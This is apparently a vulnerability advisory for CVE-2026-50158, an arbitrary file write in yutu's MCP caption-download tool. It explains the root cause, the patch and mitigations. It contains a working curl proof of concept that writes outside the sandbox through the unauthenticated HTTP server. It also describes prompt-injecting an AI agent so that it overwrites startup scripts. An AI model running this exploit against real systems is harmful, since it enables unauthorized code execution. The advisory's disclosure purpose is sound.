CVE-2026-50158: yutu Arbitrary File Write via MCP caption-download
A missing path check in yutu's caption-download MCP tool lets any caller write files anywhere on disk, bypassing the sandbox boundary that every other file operation in the tool respects.
The problem
The `Caption.Download()` method in `pkg/caption/caption.go` passes the caller-supplied `file` parameter straight to `os.Create()` at line 272, with no path validation or confinement to the `YUTU_ROOT` boundary.
Every other file-write path in yutu (Insert, Update) routes through `pkg.Root.Open()`, which uses Go 1.24's `os.OpenRoot` to enforce directory confinement. Download is the sole outlier. Because the HTTP MCP server starts with `--auth` defaulting to `false`, any local process can reach the endpoint without credentials and trigger the write.
Proof of concept
A working proof-of-concept for CVE-2026-50158 in github.com/eat-pray-ai/yutu, with the exact payload below.
# Start the HTTP MCP server (no auth required by default)
yutu mcp --mode http --port 8216
# Step 1: initialise the MCP session
curl -sD /tmp/yutu.headers \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
http://localhost:8216/mcp \
-d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"poc","version":"1"}}}' \
>/tmp/yutu.init
SID=$(awk 'tolower($1)=="mcp-session-id:"{print $2}' /tmp/yutu.headers | tr -d '\r')
# Step 2: call caption-download with an absolute path outside YUTU_ROOT
# Replace CAPTION_ID with any caption id accessible by the configured token
curl -s \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
${SID:+-H "Mcp-Session-Id: $SID"} \
http://localhost:8216/mcp \
-d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"caption-download","arguments":{"ids":["CAPTION_ID"],"file":"/tmp/yutu-cve-poc.srt","tfmt":"srt"}}}'
# Verify: file exists outside YUTU_ROOT
test -s /tmp/yutu-cve-poc.srt && ls -l /tmp/yutu-cve-poc.srtThe root cause is CWE-73: External Control of File Name or Path. The `file` field is declared as a plain required string in the MCP JSON input schema (`cmd/caption/download.go:34,40`) and flows through the tool handler binding to `os.Create(c.File)` at `caption.go:272` without any canonicalization, prefix check, or `pkg.Root` gating.
The patch replaces `os.Create(c.File)` with `pkg.Root.OpenFile(c.File, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600)`, routing the write through the same `os.OpenRoot`-backed root that Insert and Update already use. Any path that escapes the `YUTU_ROOT` directory is then rejected by the OS with "path escapes from parent".
The unauthenticated-by-default HTTP MCP server widens the attack surface beyond local CLI use: a prompt-injection payload fed to an AI agent using yutu MCP could specify an arbitrary `file` value and achieve persistent code execution by overwriting shell startup scripts or application binaries.
The fix
Upgrade to yutu v0.10.9-dev1 (commit 87026c4). The fix replaces the bare `os.Create(c.File)` call with `pkg.Root.OpenFile(c.File, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600)` in `pkg/caption/caption.go`, confining caption downloads to `YUTU_ROOT` exactly as Insert and Update already do.
If you cannot upgrade immediately, avoid exposing the HTTP MCP server to untrusted callers and set `--auth true` to require authentication.
Related research
- high · 7.5CVE-2026-54629CVE-2026-54629: Anyquery Local File Read via Unrestricted SQLite Virtual Table Modules
- critical · 9.1CVE-2026-50006CVE-2026-50006: Anyquery Arbitrary File Write via Unrestricted ATTACH DATABASE in Server Mode
- critical · 9.9CVE-2026-48753CVE-2026-48753: Incus S3 Multipart Upload Path Traversal to Arbitrary File Write
- critical · 9.9CVE-2026-48749CVE-2026-48749: Incus Arbitrary File Read and Write via rootfs Symlink in Malicious Image